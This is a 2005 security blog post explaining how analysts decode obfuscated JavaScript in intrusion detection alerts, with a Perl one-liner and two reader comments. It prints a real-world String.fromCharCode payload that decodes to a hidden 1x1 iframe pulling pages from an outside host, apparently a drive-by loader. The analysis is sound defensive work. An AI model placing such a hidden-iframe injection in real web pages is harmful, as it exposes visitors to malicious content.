Thursday, December 22, 2005

Decoding JavaScript document.write() alerts

I got some good feedback on my previous post about decoding HTTP challenge/response alerts, so I thought I'd try again. This time, the topic is decoding JavaScript document.write() alerts.

JavaScript includes a method for a script to modify the current web page (the "document"). The document.write() function call is used to add new content to the page, and this can also add new JavaScript code to be executed. This is a common obfuscation technique, often intended to make it more difficult for analysts or NIDS systems to detect qustionable content.

Here's an example to show what this looks like in the real world:

document.write(String.fromCharCode(60,115,
99,114,105,112,116,32,108,97,110,103,117,
97,103,101,61,34,74,97,118,97,83,99,114,
105,112,116,34,32,116,121,112,101,61,34,
116,101,120,116,47,106,97,118,97,115,99,
114,105,112,116,34,62,60,33,45,45,13,10,
100,111,99,117,109,101,110,116,46,119,
114,105,116,101,40,39,60,105,102,114,97,
109,101,32,115,116,121,108,101,61,34,100,
105,115,112,108,97,121,58,110,111,110,
101,34,32,119,105,100,116,104,61,34,49,
34,32,104,101,105,103,104,116,61,34,49,34,
32,102,114,97,109,101,98,111,114,100,101,
114,61,34,48,34,32,115,99,114,111,108,108,
105,110,103,61,34,78,111,34,32,115,114,99,
61,34,104,116,116,112,58,47,47,115,46,101,
117,119,101,98,46,99,122,47,39,43,40,40,40,
110,61,77,97,116,104,46,102,108,111,111,
114,40,52,53,42,77,97,116,104,46,114,97,110,
100,111,109,40,41,41,41,60,53,41,32,63,32,39,
115,116,101,112,39,43,40,110,43,50,41,43,39,
46,112,104,112,39,32,58,32,39,101,110,103,
105,110,101,115,46,112,104,112,63,110,111,
61,39,43,40,110,45,52,41,41,43,39,34,62,60,
47,105,102,114,97,109,101,62,39,41,59,13,10,
47,47,45,45,62,60,47,115,99,114,105,112,116,62));

Notice the "String.fromCharCode()" function. That's the key to deciphering this. Each of the numbers in the list is just the decimal ASCII code of the corresponding character in the script that this is intended to create.

Once you realize how this works, reconstructing the script itself is trivial. I usually use the following perl command line, then cut and paste just the ASCII list into its standard input, like so (my input is in bold):

% perl -e 'while(<>) { @list = split /,/; grep {print chr($_);} @list; }'
60,115,99,114,105,112,116,32,108,97,110,
103,117,97,103,101,61,34,74,97,118,97,83,99,
114,105,112,116,34,32,116,121,112,101,61,34,
116,101,120,116,47,106,97,118,97,115,99,114,
105,112,116,34,62,60,33,45,45,13,10,100,111,
99,117,109,101,110,116,46,119,114,105,116,
101,40,39,60,105,102,114,97,109,101,32,115,
116,121,108,101,61,34,100,105,115,112,108,
97,121,58,110,111,110,101,34,32,119,105,100,
116,104,61,34,49,34,32,104,101,105,103,104,
116,61,34,49,34,32,102,114,97,109,101,98,
111,114,100,101,114,61,34,48,34,32,115,99,
114,111,108,108,105,110,103,61,34,78,111,
34,32,115,114,99,61,34,104,116,116,112,58,47,
47,115,46,101,117,119,101,98,46,99,122,47,39,
43,40,40,40,110,61,77,97,116,104,46,102,108,
111,111,114,40,52,53,42,77,97,116,104,46,114,
97,110,100,111,109,40,41,41,41,60,53,41,32,
63,32,39,115,116,101,112,39,43,40,110,43,50,
41,43,39,46,112,104,112,39,32,58,32,39,101,
110,103,105,110,101,115,46,112,104,112,63,
110,111,61,39,43,40,110,45,52,41,41,43,39,
34,62,60,47,105,102,114,97,109,101,62,39,
41,59,13,10,47,47,45,45,62,60,47,115,99,
114,105,112,116,62


I've omitted the actual output here, since it would be JavaScript and I don't want to load the code into your browser by accident, but feel free to try this on your own and see what JavaScript nuggets you can dig up.

2 comments:

Randal L. Schwartz said...

$result = pack "C*", split /,/, $string

is another way to do that. More traditional.

DavidJBianco said...

Shorter, too, and probably more efficient. Thanks for the tip!